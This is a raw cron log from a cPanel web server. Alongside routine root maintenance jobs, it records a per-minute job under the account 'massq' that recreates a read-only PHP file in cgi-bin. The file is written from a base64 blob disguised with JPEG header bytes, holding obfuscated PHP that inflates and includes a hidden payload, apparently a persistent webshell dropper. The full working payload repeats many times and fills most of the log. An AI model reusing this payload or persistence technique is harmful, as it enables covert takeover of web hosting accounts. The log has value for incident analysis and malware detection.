Sep  3 22:16:01 server CROND[28807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:17:01 server CROND[29222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:17:01 server CROND[29223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:17:01 server CROND[29224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:18:01 server CROND[29689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:18:01 server CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:18:01 server CROND[29690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:19:01 server CROND[30064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:19:01 server CROND[30065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:19:01 server CROND[30066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:20:01 server CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:20:01 server CROND[30447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:20:01 server CROND[30448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:20:01 server CROND[30451]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:20:01 server CROND[30450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:20:01 server CROND[30455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:20:01 server CROND[30454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:20:01 server CROND[30456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:20:01 server CROND[30457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:21:01 server CROND[31328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:21:01 server CROND[31329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:21:01 server CROND[31330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:22:01 server CROND[31716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:22:01 server CROND[31717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:22:01 server CROND[31718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:23:01 server CROND[32187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:23:01 server CROND[32188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:23:01 server CROND[32189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:24:01 server CROND[32553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:24:01 server CROND[32554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:24:01 server CROND[32555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:25:01 server CROND[491]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:25:01 server CROND[493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:25:01 server CROND[498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:25:01 server CROND[500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:25:01 server CROND[501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:25:01 server CROND[503]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 22:25:01 server CROND[502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:25:01 server CROND[499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:26:01 server CROND[1457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:26:01 server CROND[1458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:26:01 server CROND[1459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:27:01 server CROND[1830]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:27:01 server CROND[1831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:27:01 server CROND[1832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:27:01 server CROND[1833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:28:02 server CROND[2336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:28:02 server CROND[2337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:28:02 server CROND[2338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:29:01 server CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
